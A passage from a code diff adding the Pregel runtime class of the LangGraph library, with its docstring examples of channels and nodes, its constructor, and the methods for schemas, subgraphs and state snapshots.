+                "stream_events(version='v3') transformers must be scope-aware callables, "
+                f"got pre-built instance {type(spec).__name__}. Pass the "
+                "transformer class or a factory like "
+                "`lambda scope: MyTransformer(scope, ...)`."
+            )
+        if not callable(spec):
+            raise TypeError(
+                "stream_events(version='v3') transformers must be scope-aware callables, "
+                f"got {type(spec).__name__}."
+            )
+
+        def factory(scope: tuple[str, ...], _spec: Callable[..., Any] = spec) -> Any:
+            return _spec(scope)
+
+        factories.append(factory)
+    return factories
+
+
+class Pregel(
+    PregelProtocol[StateT, ContextT, InputT, OutputT],
+    Generic[StateT, ContextT, InputT, OutputT],
+):
+    """Pregel manages the runtime behavior for LangGraph applications.
+
+    ## Overview
+
+    Pregel combines [**actors**](https://en.wikipedia.org/wiki/Actor_model)
+    and **channels** into a single application.
+    **Actors** read data from channels and write data to channels.
+    Pregel organizes the execution of the application into multiple steps,
+    following the **Pregel Algorithm**/**Bulk Synchronous Parallel** model.
+
+    Each step consists of three phases:
+
+    - **Plan**: Determine which **actors** to execute in this step. For example,
+        in the first step, select the **actors** that subscribe to the special
+        **input** channels; in subsequent steps,
+        select the **actors** that subscribe to channels updated in the previous step.
+    - **Execution**: Execute all selected **actors** in parallel,
+        until all complete, or one fails, or a timeout is reached. During this
+        phase, channel updates are invisible to actors until the next step.
+    - **Update**: Update the channels with the values written by the **actors**
+        in this step.
+
+    Repeat until no **actors** are selected for execution, or a maximum number of
+    steps is reached.
+
+    ## Actors
+
+    An **actor** is a `PregelNode`.
+    It subscribes to channels, reads data from them, and writes data to them.
+    It can be thought of as an **actor** in the Pregel algorithm.
+    `PregelNodes` implement LangChain's
+    Runnable interface.
+
+    ## Channels
+
+    Channels are used to communicate between actors (`PregelNodes`).
+    Each channel has a value type, an update type, and an update function – which
+    takes a sequence of updates and
+    modifies the stored value. Channels can be used to send data from one chain to
+    another, or to send data from a chain to itself in a future step. LangGraph
+    provides a number of built-in channels:
+
+    ### Basic channels: LastValue and Topic
+
+    - `LastValue`: The default channel, stores the last value sent to the channel,
+       useful for input and output values, or for sending data from one step to the next
+    - `Topic`: A configurable PubSub Topic, useful for sending multiple values
+       between *actors*, or for accumulating output. Can be configured to deduplicate
+       values, and/or to accumulate values over the course of multiple steps.
+
+    ### Advanced channels: Context and BinaryOperatorAggregate
+
+    - `Context`: exposes the value of a context manager, managing its lifecycle.
+        Useful for accessing external resources that require setup and/or teardown. e.g.
+        `client = Context(httpx.Client)`
+    - `BinaryOperatorAggregate`: stores a persistent value, updated by applying
+        a binary operator to the current value and each update
+        sent to the channel, useful for computing aggregates over multiple steps. e.g.
+        `total = BinaryOperatorAggregate(int, operator.add)`
+
+    ## Examples
+
+    Most users will interact with Pregel via a
+    [StateGraph (Graph API)][langgraph.graph.StateGraph] or via an
+    [entrypoint (Functional API)][langgraph.func.entrypoint].
+
+    However, for **advanced** use cases, Pregel can be used directly. If you're
+    not sure whether you need to use Pregel directly, then the answer is probably no
+    - you should use the Graph API or Functional API instead. These are higher-level
+    interfaces that will compile down to Pregel under the hood.
+
+    Here are some examples to give you a sense of how it works:
+
+    Example: Single node application
+        ```python
+        from langgraph.channels import EphemeralValue
+        from langgraph.pregel import Pregel, NodeBuilder
+
+        node1 = (
+            NodeBuilder().subscribe_only("a")
+            .do(lambda x: x + x)
+            .write_to("b")
+        )
+
+        app = Pregel(
+            nodes={"node1": node1},
+            channels={
+                "a": EphemeralValue(str),
+                "b": EphemeralValue(str),
+            },
+            input_channels=["a"],
+            output_channels=["b"],
+        )
+
+        app.invoke({"a": "foo"})
+        ```
+
+        ```con
+        {'b': 'foofoo'}
+        ```
+
+    Example: Using multiple nodes and multiple output channels
+        ```python
+        from langgraph.channels import LastValue, EphemeralValue
+        from langgraph.pregel import Pregel, NodeBuilder
+
+        node1 = (
+            NodeBuilder().subscribe_only("a")
+            .do(lambda x: x + x)
+            .write_to("b")
+        )
+
+        node2 = (
+            NodeBuilder().subscribe_to("b")
+            .do(lambda x: x["b"] + x["b"])
+            .write_to("c")
+        )
+
+
+        app = Pregel(
+            nodes={"node1": node1, "node2": node2},
+            channels={
+                "a": EphemeralValue(str),
+                "b": LastValue(str),
+                "c": EphemeralValue(str),
+            },
+            input_channels=["a"],
+            output_channels=["b", "c"],
+        )
+
+        app.invoke({"a": "foo"})
+        ```
+
+        ```con
+        {'b': 'foofoo', 'c': 'foofoofoofoo'}
+        ```
+
+    Example: Using a Topic channel
+        ```python
+        from langgraph.channels import LastValue, EphemeralValue, Topic
+        from langgraph.pregel import Pregel, NodeBuilder
+
+        node1 = (
+            NodeBuilder().subscribe_only("a")
+            .do(lambda x: x + x)
+            .write_to("b", "c")
+        )
+
+        node2 = (
+            NodeBuilder().subscribe_only("b")
+            .do(lambda x: x + x)
+            .write_to("c")
+        )
+
+
+        app = Pregel(
+            nodes={"node1": node1, "node2": node2},
+            channels={
+                "a": EphemeralValue(str),
+                "b": EphemeralValue(str),
+                "c": Topic(str, accumulate=True),
+            },
+            input_channels=["a"],
+            output_channels=["c"],
+        )
+
+        app.invoke({"a": "foo"})
+        ```
+
+        ```pycon
+        {"c": ["foofoo", "foofoofoofoo"]}
+        ```
+
+    Example: Using a `BinaryOperatorAggregate` channel
+        ```python
+        from langgraph.channels import EphemeralValue, BinaryOperatorAggregate
+        from langgraph.pregel import Pregel, NodeBuilder
+
+
+        node1 = (
+            NodeBuilder().subscribe_only("a")
+            .do(lambda x: x + x)
+            .write_to("b", "c")
+        )
+
+        node2 = (
+            NodeBuilder().subscribe_only("b")
+            .do(lambda x: x + x)
+            .write_to("c")
+        )
+
+
+        def reducer(current, update):
+            if current:
+                return current + " | " + update
+            else:
+                return update
+
+
+        app = Pregel(
+            nodes={"node1": node1, "node2": node2},
+            channels={
+                "a": EphemeralValue(str),
+                "b": EphemeralValue(str),
+                "c": BinaryOperatorAggregate(str, operator=reducer),
+            },
+            input_channels=["a"],
+            output_channels=["c"],
+        )
+
+        app.invoke({"a": "foo"})
+        ```
+
+        ```con
+        {'c': 'foofoo | foofoofoofoo'}
+        ```
+
+    Example: Introducing a cycle
+        This example demonstrates how to introduce a cycle in the graph, by having
+        a chain write to a channel it subscribes to.
+
+        Execution will continue until a `None` value is written to the channel.
+
+        ```python
+        from langgraph.channels import EphemeralValue
+        from langgraph.pregel import Pregel, NodeBuilder, ChannelWriteEntry
+
+        example_node = (
+            NodeBuilder()
+            .subscribe_only("value")
+            .do(lambda x: x + x if len(x) < 10 else None)
+            .write_to(ChannelWriteEntry(channel="value", skip_none=True))
+        )
+
+        app = Pregel(
+            nodes={"example_node": example_node},
+            channels={
+                "value": EphemeralValue(str),
+            },
+            input_channels=["value"],
+            output_channels=["value"],
+        )
+
+        app.invoke({"value": "a"})
+        ```
+
+        ```con
+        {'value': 'aaaaaaaaaaaaaaaa'}
+        ```
+    """
+
+    nodes: dict[str, PregelNode]
+
+    channels: dict[str, BaseChannel | ManagedValueSpec]
+
+    stream_mode: StreamMode = "values"
+    """Mode to stream output, defaults to 'values'."""
+
+    stream_eager: bool = False
+    """Whether to force emitting stream events eagerly, automatically turned on
+    for stream_mode "messages" and "custom"."""
+
+    output_channels: str | Sequence[str]
+
+    stream_channels: str | Sequence[str] | None = None
+    """Channels to stream, defaults to all channels not in reserved channels"""
+
+    interrupt_after_nodes: All | Sequence[str]
+
+    interrupt_before_nodes: All | Sequence[str]
+
+    input_channels: str | Sequence[str]
+
+    step_timeout: float | None = None
+    """Maximum time to wait for a step to complete, in seconds."""
+
+    debug: bool
+    """Whether to print debug information during execution."""
+
+    checkpointer: Checkpointer = None
+    """`Checkpointer` used to save and load graph state."""
+
+    store: BaseStore | None = None
+    """Memory store to use for SharedValues."""
+
+    cache: BaseCache | None = None
+    """Cache to use for storing node results."""
+
+    retry_policy: Sequence[RetryPolicy] = ()
+    """Retry policies to use when running tasks. Empty set disables retries."""
+
+    cache_policy: CachePolicy | None = None
+    """Cache policy to use for all nodes. Can be overridden by individual nodes."""
+
+    context_schema: type[ContextT] | None = None
+    """Specifies the schema for the context object that will be passed to the workflow."""
+
+    config: RunnableConfig | None = None
+
+    name: str = "LangGraph"
+
+    trigger_to_nodes: Mapping[str, Sequence[str]]
+    node_error_handler_map: Mapping[str, str]
+
+    def __init__(
+        self,
+        *,
+        nodes: dict[str, PregelNode | NodeBuilder],
+        channels: dict[str, BaseChannel | ManagedValueSpec] | None,
+        auto_validate: bool = True,
+        stream_mode: StreamMode = "values",
+        stream_eager: bool = False,
+        output_channels: str | Sequence[str],
+        stream_channels: str | Sequence[str] | None = None,
+        interrupt_after_nodes: All | Sequence[str] = (),
+        interrupt_before_nodes: All | Sequence[str] = (),
+        input_channels: str | Sequence[str],
+        step_timeout: float | None = None,
+        debug: bool | None = None,
+        checkpointer: Checkpointer = None,
+        store: BaseStore | None = None,
+        cache: BaseCache | None = None,
+        retry_policy: RetryPolicy | Sequence[RetryPolicy] = (),
+        cache_policy: CachePolicy | None = None,
+        context_schema: type[ContextT] | None = None,
+        config: RunnableConfig | None = None,
+        trigger_to_nodes: Mapping[str, Sequence[str]] | None = None,
+        node_error_handler_map: Mapping[str, str] | None = None,
+        name: str = "LangGraph",
+        stream_transformers: Sequence[Callable[[tuple[str, ...]], Any]] | None = None,
+        **deprecated_kwargs: Unpack[DeprecatedKwargs],
+    ) -> None:
+        if (
+            config_type := deprecated_kwargs.get("config_type", MISSING)
+        ) is not MISSING:
+            warnings.warn(
+                "`config_type` is deprecated and will be removed. Please use `context_schema` instead.",
+                category=LangGraphDeprecatedSinceV10,
+                stacklevel=2,
+            )
+
+            if context_schema is None:
+                context_schema = cast(type[ContextT], config_type)
+
+        checkpointer = ensure_valid_checkpointer(checkpointer)
+
+        self.nodes = {
+            k: v.build() if isinstance(v, NodeBuilder) else v for k, v in nodes.items()
+        }
+        self.channels = channels or {}
+        if TASKS in self.channels and not isinstance(self.channels[TASKS], Topic):
+            raise ValueError(
+                f"Channel '{TASKS}' is reserved and cannot be used in the graph."
+            )
+        else:
+            self.channels[TASKS] = Topic(Send, accumulate=False)
+        self.stream_mode = stream_mode
+        self.stream_eager = stream_eager
+        self.output_channels = output_channels
+        self.stream_channels = stream_channels
+        self.interrupt_after_nodes = interrupt_after_nodes
+        self.interrupt_before_nodes = interrupt_before_nodes
+        self.input_channels = input_channels
+        self.step_timeout = step_timeout
+        self.debug = debug if debug is not None else get_debug()
+        self.checkpointer = checkpointer
+        self.store = store
+        self.cache = cache
+        self.retry_policy = (
+            (retry_policy,) if isinstance(retry_policy, RetryPolicy) else retry_policy
+        )
+        self.cache_policy = cache_policy
+        self.context_schema = context_schema
+        self.config = config
+        self.trigger_to_nodes = trigger_to_nodes or {}
+        self.node_error_handler_map = node_error_handler_map or {}
+        self.name = name
+        self.stream_transformers: tuple[Callable[[tuple[str, ...]], Any], ...] = tuple(
+            stream_transformers or ()
+        )
+        self._serde_allowlist: set[tuple[str, ...]] | None = None
+        if auto_validate:
+            self.validate()
+
+    def _apply_checkpointer_allowlist(
+        self, checkpointer: BaseCheckpointSaver | None
+    ) -> BaseCheckpointSaver | None:
+        if not _serde.STRICT_MSGPACK_ENABLED:
+            return checkpointer
+        return _serde.apply_checkpointer_allowlist(checkpointer, self._serde_allowlist)
+
+    def get_graph(
+        self, config: RunnableConfig | None = None, *, xray: int | bool = False
+    ) -> Graph:
+        """Return a drawable representation of the computation graph."""
+        # gather subgraphs
+        if xray:
+            subgraphs = {
+                k: v.get_graph(
+                    config,
+                    xray=xray if isinstance(xray, bool) or xray <= 0 else xray - 1,
+                )
+                for k, v in self.get_subgraphs()
+            }
+        else:
+            subgraphs = {}
+
+        return draw_graph(
+            merge_configs(self.config, config),
+            nodes=self.nodes,
+            specs=self.channels,
+            input_channels=self.input_channels,
+            interrupt_after_nodes=self.interrupt_after_nodes,
+            interrupt_before_nodes=self.interrupt_before_nodes,
+            trigger_to_nodes=self.trigger_to_nodes,
+            checkpointer=self.checkpointer,
+            subgraphs=subgraphs,
+        )
+
+    async def aget_graph(
+        self, config: RunnableConfig | None = None, *, xray: int | bool = False
+    ) -> Graph:
+        """Return a drawable representation of the computation graph."""
+
+        # gather subgraphs
+        if xray:
+            subpregels: dict[str, PregelProtocol] = {
+                k: v async for k, v in self.aget_subgraphs()
+            }
+            subgraphs = {
+                k: v
+                for k, v in zip(
+                    subpregels,
+                    await asyncio.gather(
+                        *(
+                            p.aget_graph(
+                                config,
+                                xray=xray
+                                if isinstance(xray, bool) or xray <= 0
+                                else xray - 1,
+                            )
+                            for p in subpregels.values()
+                        )
+                    ),
+                )
+            }
+        else:
+            subgraphs = {}
+
+        return draw_graph(
+            merge_configs(self.config, config),
+            nodes=self.nodes,
+            specs=self.channels,
+            input_channels=self.input_channels,
+            interrupt_after_nodes=self.interrupt_after_nodes,
+            interrupt_before_nodes=self.interrupt_before_nodes,
+            trigger_to_nodes=self.trigger_to_nodes,
+            checkpointer=self.checkpointer,
+            subgraphs=subgraphs,
+        )
+
+    def _repr_mimebundle_(self, **kwargs: Any) -> dict[str, Any]:
+        """Mime bundle used by Jupyter to display the graph"""
+        return {
+            "text/plain": repr(self),
+            "image/png": self.get_graph().draw_mermaid_png(),
+        }
+
+    def copy(self, update: dict[str, Any] | None = None) -> Self:
+        attrs = {k: v for k, v in self.__dict__.items() if k != "__orig_class__"}
+        attrs.update(update or {})
+        return self.__class__(**attrs)
+
+    def with_config(self, config: RunnableConfig | None = None, **kwargs: Any) -> Self:
+        """Create a copy of the Pregel object with an updated config."""
+        return self.copy(
+            {"config": merge_configs(self.config, config, cast(RunnableConfig, kwargs))}
+        )
+
+    def validate(self) -> Self:
+        for name, node in self.nodes.items():
+            if node.timeout is not None:
+                validate_timeout_supported(node.node or node.bound, name=name)
+        validate_graph(
+            self.nodes,
+            {k: v for k, v in self.channels.items() if isinstance(v, BaseChannel)},
+            {k: v for k, v in self.channels.items() if not isinstance(v, BaseChannel)},
+            self.input_channels,
+            self.output_channels,
+            self.stream_channels,
+            self.interrupt_after_nodes,
+            self.interrupt_before_nodes,
+        )
+        self.trigger_to_nodes = _trigger_to_nodes(self.nodes)
+        return self
+
+    @deprecated(
+        "`config_schema` is deprecated. Use `get_context_jsonschema` for the relevant schema instead.",
+        category=None,
+    )
+    def config_schema(self, *, include: Sequence[str] | None = None) -> type[BaseModel]:
+        warnings.warn(
+            "`config_schema` is deprecated. Use `get_context_jsonschema` for the relevant schema instead.",
+            category=LangGraphDeprecatedSinceV10,
+            stacklevel=2,
+        )
+
+        include = include or []
+        fields = {
+            **(
+                {"configurable": (self.context_schema, None)}
+                if self.context_schema
+                else {}
+            ),
+            **{
+                field_name: (field_type, None)
+                for field_name, field_type in get_type_hints(RunnableConfig).items()
+                if field_name in [i for i in include if i != "configurable"]
+            },
+        }
+        return create_model(self.get_name("Config"), field_definitions=fields)
+
+    @deprecated(
+        "`get_config_jsonschema` is deprecated. Use `get_context_jsonschema` instead.",
+        category=None,
+    )
+    def get_config_jsonschema(
+        self, *, include: Sequence[str] | None = None
+    ) -> dict[str, Any]:
+        warnings.warn(
+            "`get_config_jsonschema` is deprecated. Use `get_context_jsonschema` instead.",
+            category=LangGraphDeprecatedSinceV10,
+            stacklevel=2,
+        )
+
+        with warnings.catch_warnings():
+            warnings.filterwarnings("ignore", category=LangGraphDeprecatedSinceV10)
+            schema = self.config_schema(include=include)
+        return schema.model_json_schema()
+
+    def get_context_jsonschema(self) -> dict[str, Any] | None:
+        if (context_schema := self.context_schema) is None:
+            return None
+
+        if isclass(context_schema) and issubclass(context_schema, BaseModel):
+            return context_schema.model_json_schema()
+        elif is_typeddict(context_schema) or is_dataclass(context_schema):
+            return TypeAdapter(context_schema).json_schema()
+        else:
+            raise ValueError(
+                f"Invalid context schema type: {context_schema}. Must be a BaseModel, TypedDict or dataclass."
+            )
+
+    @property
+    def InputType(self) -> Any:
+        if isinstance(self.input_channels, str):
+            channel = self.channels[self.input_channels]
+            if isinstance(channel, BaseChannel):
+                return channel.UpdateType
+
+    def get_input_schema(self, config: RunnableConfig | None = None) -> type[BaseModel]:
+        config = merge_configs(self.config, config)
+        if isinstance(self.input_channels, str):
+            return super().get_input_schema(config)
+        else:
+            return create_model(
+                self.get_name("Input"),
+                field_definitions={
+                    k: (c.UpdateType, None)
+                    for k in self.input_channels or self.channels.keys()
+                    if (c := self.channels[k]) and isinstance(c, BaseChannel)
+                },
+            )
+
+    def get_input_jsonschema(
+        self, config: RunnableConfig | None = None
+    ) -> dict[str, Any]:
+        schema = self.get_input_schema(config)
+        return schema.model_json_schema()
+
+    @property
+    def OutputType(self) -> Any:
+        if isinstance(self.output_channels, str):
+            channel = self.channels[self.output_channels]
+            if isinstance(channel, BaseChannel):
+                return channel.ValueType
+
+    def get_output_schema(
+        self, config: RunnableConfig | None = None
+    ) -> type[BaseModel]:
+        config = merge_configs(self.config, config)
+        if isinstance(self.output_channels, str):
+            return super().get_output_schema(config)
+        else:
+            return create_model(
+                self.get_name("Output"),
+                field_definitions={
+                    k: (c.ValueType, None)
+                    for k in self.output_channels
+                    if (c := self.channels[k]) and isinstance(c, BaseChannel)
+                },
+            )
+
+    def get_output_jsonschema(
+        self, config: RunnableConfig | None = None
+    ) -> dict[str, Any]:
+        schema = self.get_output_schema(config)
+        return schema.model_json_schema()
+
+    @property
+    def stream_channels_list(self) -> Sequence[str]:
+        stream_channels = self.stream_channels_asis
+        return (
+            [stream_channels] if isinstance(stream_channels, str) else stream_channels
+        )
+
+    @property
+    def stream_channels_asis(self) -> str | Sequence[str]:
+        return self.stream_channels or [
+            k for k in self.channels if isinstance(self.channels[k], BaseChannel)
+        ]
+
+    def get_subgraphs(
+        self, *, namespace: str | None = None, recurse: bool = False
+    ) -> Iterator[tuple[str, PregelProtocol]]:
+        """Get the subgraphs of the graph.
+
+        Args:
+            namespace: The namespace to filter the subgraphs by.
+            recurse: Whether to recurse into the subgraphs.
+                If `False`, only the immediate subgraphs will be returned.
+
+        Returns:
+            An iterator of the `(namespace, subgraph)` pairs.
+        """
+        for name, node in self.nodes.items():
+            # filter by prefix
+            if namespace is not None:
+                if not namespace.startswith(name):
+                    continue
+
+            # find the subgraph, if any
+            graph = node.subgraphs[0] if node.subgraphs else None
+
+            # if found, yield recursively
+            if graph:
+                if name == namespace:
+                    yield name, graph
+                    return  # we found it, stop searching
+                if namespace is None:
+                    yield name, graph
+                if recurse and isinstance(graph, Pregel):
+                    if namespace is not None:
+                        namespace = namespace[len(name) + 1 :]
+                    yield from (
+                        (f"{name}{NS_SEP}{n}", s)
+                        for n, s in graph.get_subgraphs(
+                            namespace=namespace, recurse=recurse
+                        )
+                    )
+
+    async def aget_subgraphs(
+        self, *, namespace: str | None = None, recurse: bool = False
+    ) -> AsyncIterator[tuple[str, PregelProtocol]]:
+        """Get the subgraphs of the graph.
+
+        Args:
+            namespace: The namespace to filter the subgraphs by.
+            recurse: Whether to recurse into the subgraphs.
+                If `False`, only the immediate subgraphs will be returned.
+
+        Returns:
+            An iterator of the `(namespace, subgraph)` pairs.
+        """
+        for name, node in self.get_subgraphs(namespace=namespace, recurse=recurse):
+            yield name, node
+
+    # Mappers for v2 stream coercion (pydantic/dataclass).
+    # Set by CompiledStateGraph; None for base Pregel.
+    _output_mapper: Callable[[Any], Any] | None = None
+    _state_mapper: Callable[[Any], Any] | None = None
+
+    def _migrate_checkpoint(self, checkpoint: Checkpoint) -> None:
+        """Migrate a saved checkpoint to new channel layout."""
+        if checkpoint["v"] < 4 and checkpoint.get("pending_sends"):
+            pending_sends: list[Send] = checkpoint.pop("pending_sends")
+            checkpoint["channel_values"][TASKS] = pending_sends
+            checkpoint["channel_versions"][TASKS] = max(
+                checkpoint["channel_versions"].values()
+            )
+
+    def _prepare_state_snapshot(
+        self,
+        config: RunnableConfig,
+        saved: CheckpointTuple | None,
+        recurse: BaseCheckpointSaver | None = None,
+        apply_pending_writes: bool = False,
+    ) -> StateSnapshot:
+        if not saved:
+            return StateSnapshot(
+                values={},
+                next=(),
+                config=config,
+                metadata=None,
+                created_at=None,
+                parent_config=None,
+                tasks=(),
+                interrupts=(),
+            )
+
+        # migrate checkpoint if needed
+        self._migrate_checkpoint(saved.checkpoint)
+
+        step = saved.metadata.get("step", -1) + 1
+        stop = step + 2
+        channels, managed = channels_from_checkpoint(
+            self.channels,
+            saved.checkpoint,
+            saver=self.checkpointer
+            if isinstance(self.checkpointer, BaseCheckpointSaver)
+            else None,
+            config=saved.config,
+        )
+        # tasks for this checkpoint
+        next_tasks = prepare_next_tasks(
+            saved.checkpoint,
+            saved.pending_writes or [],
+            self.nodes,
+            channels,
+            managed,
+            saved.config,
+            step,
+            stop,
+            for_execution=True,
+            store=self.store,
+            checkpointer=(
+                self.checkpointer
+                if isinstance(self.checkpointer, BaseCheckpointSaver)
+                else None
+            ),
+            manager=None,
+        )
+        # get the subgraphs
+        subgraphs = dict(self.get_subgraphs())
+        parent_ns = saved.config[CONF].get(CONFIG_KEY_CHECKPOINT_NS, "")
+        task_states: dict[str, RunnableConfig | StateSnapshot] = {}
+        for task in next_tasks.values():
+            if task.name not in subgraphs:
+                continue
+            # assemble checkpoint_ns for this task
+            task_ns = f"{task.name}{NS_END}{task.id}"
+            if parent_ns:
+                task_ns = f"{parent_ns}{NS_SEP}{task_ns}"
+            if not recurse:
+                # set config as signal that subgraph checkpoints exist
+                config = {
+                    CONF: {
+                        "thread_id": saved.config[CONF]["thread_id"],
+                        CONFIG_KEY_CHECKPOINT_NS: task_ns,
+                    }
+                }
+                task_states[task.id] = config
+            else:
+                # get the state of the subgraph
+                config = {
+                    CONF: {
+                        CONFIG_KEY_CHECKPOINTER: recurse,
+                        "thread_id": saved.config[CONF]["thread_id"],
+                        CONFIG_KEY_CHECKPOINT_NS: task_ns,
+                    }
+                }
+                task_states[task.id] = subgraphs[task.name].get_state(
+                    config, subgraphs=True
+                )
+        # apply pending writes
+        if null_writes := [
+            w[1:] for w in saved.pending_writes or [] if w[0] == NULL_TASK_ID
+        ]:
+            apply_writes(
+                saved.checkpoint,
+                channels,
+                [PregelTaskWrites((), INPUT, null_writes, [])],
+                None,
+                self.trigger_to_nodes,
+            )
+        if apply_pending_writes and saved.pending_writes:
+            for tid, k, v in saved.pending_writes:
+                if k in (ERROR, INTERRUPT):
+                    continue
+                if tid not in next_tasks:
+                    continue
+                next_tasks[tid].writes.append((k, v))
+            if tasks := [t for t in next_tasks.values() if t.writes]:
+                apply_writes(
+                    saved.checkpoint, channels, tasks, None, self.trigger_to_nodes
+                )
+        tasks_with_writes = tasks_w_writes(
+            next_tasks.values(),
+            saved.pending_writes,
+            task_states,
+            self.stream_channels_asis,
+        )
+        # assemble the state snapshot
+        return StateSnapshot(
+            read_channels(channels, self.stream_channels_asis),
+            tuple(t.name for t in next_tasks.values() if not t.writes),
+            patch_checkpoint_map(saved.config, saved.metadata),
+            saved.metadata,
+            saved.checkpoint["ts"],
+            patch_checkpoint_map(saved.parent_config, saved.metadata),
+            tasks_with_writes,
+            tuple([i for task in tasks_with_writes for i in task.interrupts]),
+        )
+
+    async def _aprepare_state_snapshot(
+        self,
+        config: RunnableConfig,
+        saved: CheckpointTuple | None,
+        recurse: BaseCheckpointSaver | None = None,
+        apply_pending_writes: bool = False,
+    ) -> StateSnapshot:
+        if not saved:
+            return StateSnapshot(
+                values={},
+                next=(),
+                config=config,
+                metadata=None,
+                created_at=None,
+                parent_config=None,
+                tasks=(),
+                interrupts=(),
+            )
+
+        # migrate checkpoint if needed
+        self._migrate_checkpoint(saved.checkpoint)
+
+        step = saved.metadata.get("step", -1) + 1
+        stop = step + 2
+        channels, managed = await achannels_from_checkpoint(
+            self.channels,
+            saved.checkpoint,
+            saver=self.checkpointer
+            if isinstance(self.checkpointer, BaseCheckpointSaver)
+            else None,
+            config=saved.config,
+        )
+        # tasks for this checkpoint
+        next_tasks = prepare_next_tasks(
+            saved.checkpoint,
+            saved.pending_writes or [],
+            self.nodes,
+            channels,
+            managed,
+            saved.config,
+            step,
+            stop,
+            for_execution=True,
+            store=self.store,
+            checkpointer=(
+                self.checkpointer
+                if isinstance(self.checkpointer, BaseCheckpointSaver)
+                else None
+            ),
+            manager=None,
+        )
+        # get the subgraphs
+        subgraphs = {n: g async for n, g in self.aget_subgraphs()}
+        parent_ns = saved.config[CONF].get(CONFIG_KEY_CHECKPOINT_NS, "")
+        task_states: dict[str, RunnableConfig | StateSnapshot] = {}
+        for task in next_tasks.values():
+            if task.name not in subgraphs:
+                continue
+            # assemble checkpoint_ns for this task
+            task_ns = f"{task.name}{NS_END}{task.id}"
+            if parent_ns:
+                task_ns = f"{parent_ns}{NS_SEP}{task_ns}"
+            if not recurse:
+                # set config as signal that subgraph checkpoints exist
+                config = {
+                    CONF: {
+                        "thread_id": saved.config[CONF]["thread_id"],
+                        CONFIG_KEY_CHECKPOINT_NS: task_ns,
+                    }
+                }
+                task_states[task.id] = config
+            else:
+                # get the state of the subgraph
+                config = {
+                    CONF: {
+                        CONFIG_KEY_CHECKPOINTER: recurse,
+                        "thread_id": saved.config[CONF]["thread_id"],
+                        CONFIG_KEY_CHECKPOINT_NS: task_ns,
+                    }
+                }
+                task_states[task.id] = await subgraphs[task.name].aget_state(
+                    config, subgraphs=True
+                )
+        # apply pending writes
+        if null_writes := [
+            w[1:] for w in saved.pending_writes or [] if w[0] == NULL_TASK_ID
+        ]:
+            apply_writes(
+                saved.checkpoint,
+                channels,
+                [PregelTaskWrites((), INPUT, null_writes, [])],
+                None,
+                self.trigger_to_nodes,
+            )
+        if apply_pending_writes and saved.pending_writes:
+            for tid, k, v in saved.pending_writes:
+                if k in (ERROR, INTERRUPT):
+                    continue
+                if tid not in next_tasks:
+                    continue
+                next_tasks[tid].writes.append((k, v))
+            if tasks := [t for t in next_tasks.values() if t.writes]:
+                apply_writes(
+                    saved.checkpoint, channels, tasks, None, self.trigger_to_nodes
+                )
+
+        tasks_with_writes = tasks_w_writes(
+            next_tasks.values(),
+            saved.pending_writes,
+            task_states,
+            self.stream_channels_asis,
+        )
+        # assemble the state snapshot
+        return StateSnapshot(
+            read_channels(channels, self.stream_channels_asis),
+            tuple(t.name for t in next_tasks.values() if not t.writes),
+            patch_checkpoint_map(saved.config, saved.metadata),
+            saved.metadata,
+            saved.checkpoint["ts"],
+            patch_checkpoint_map(saved.parent_config, saved.metadata),
+            tasks_with_writes,
+            tuple([i for task in tasks_with_writes for i in task.interrupts]),
+        )
+
+    def get_state(
+        self, config: RunnableConfig, *, subgraphs: bool = False
+    ) -> StateSnapshot:
+        """Get the current state of the graph."""
+        checkpointer: BaseCheckpointSaver | None = ensure_config(config)[CONF].get(
+            CONFIG_KEY_CHECKPOINTER, self.checkpointer
+        )
+        if isinstance(checkpointer, BaseCheckpointSaver):
+            checkpointer = self._apply_checkpointer_allowlist(checkpointer)
+        if not checkpointer:
+            raise ValueError("No checkpointer set")
+
+        if (
+            checkpoint_ns := config[CONF].get(CONFIG_KEY_CHECKPOINT_NS, "")
+        ) and CONFIG_KEY_CHECKPOINTER not in config[CONF]:
+            # remove task_ids from checkpoint_ns
+            recast = recast_checkpoint_ns(checkpoint_ns)
+            # find the subgraph with the matching name
+            for _, pregel in self.get_subgraphs(namespace=recast, recurse=True):
+                return pregel.get_state(
+                    patch_configurable(config, {CONFIG_KEY_CHECKPOINTER: checkpointer}),
+                    subgraphs=subgraphs,
+                )
+            else:
+                raise ValueError(f"Subgraph {recast} not found")
+
+        config = merge_configs(self.config, config) if self.config else config
+        if self.checkpointer is True:
+            ns = cast(str, config[CONF][CONFIG_KEY_CHECKPOINT_NS])
+            config = merge_configs(
+                config, {CONF: {CONFIG_KEY_CHECKPOINT_NS: recast_checkpoint_ns(ns)}}
+            )
+        thread_id = config[CONF][CONFIG_KEY_THREAD_ID]
+        if not isinstance(thread_id, str):
+            config[CONF][CONFIG_KEY_THREAD_ID] = str(thread_id)
+
+        saved = checkpointer.get_tuple(config)
+        return self._prepare_state_snapshot(
+            config,
+            saved,
+            recurse=checkpointer if subgraphs else None,
+            apply_pending_writes=CONFIG_KEY_CHECKPOINT_ID not in config[CONF],
+        )
+
+    async def aget_state(
+        self, config: RunnableConfig, *, subgraphs: bool = False
+    ) -> StateSnapshot:
+        """Get the current state of the graph."""
+        checkpointer: BaseCheckpointSaver | None = ensure_config(config)[CONF].get(
+            CONFIG_KEY_CHECKPOINTER, self.checkpointer
+        )
+        if isinstance(checkpointer, BaseCheckpointSaver):
+            checkpointer = self._apply_checkpointer_allowlist(checkpointer)
+        if not checkpointer:
+            raise ValueError("No checkpointer set")
+
+        if (
+            checkpoint_ns := config[CONF].get(CONFIG_KEY_CHECKPOINT_NS, "")
+        ) and CONFIG_KEY_CHECKPOINTER not in config[CONF]:
+            # remove task_ids from checkpoint_ns
+            recast = recast_checkpoint_ns(checkpoint_ns)
+            # find the subgraph with the matching name
+            async for _, pregel in self.aget_subgraphs(namespace=recast, recurse=True):
+                return await pregel.aget_state(
+                    patch_configurable(config, {CONFIG_KEY_CHECKPOINTER: checkpointer}),
+                    subgraphs=subgraphs,
+                )
+            else:
+                raise ValueError(f"Subgraph {recast} not found")
+
+        config = merge_configs(self.config, config) if self.config else config
+        if self.checkpointer is True:
+            ns = cast(str, config[CONF][CONFIG_KEY_CHECKPOINT_NS])
+            config = merge_configs(
+                config, {CONF: {CONFIG_KEY_CHECKPOINT_NS: recast_checkpoint_ns(ns)}}
+            )
+        thread_id = config[CONF][CONFIG_KEY_THREAD_ID]
+        if not isinstance(thread_id, str):
+            config[CONF][CONFIG_KEY_THREAD_ID] = str(thread_id)
+
+        saved = await checkpointer.aget_tuple(config)
+        return await self._aprepare_state_snapshot(
+            config,
+            saved,
+            recurse=checkpointer if subgraphs else None,
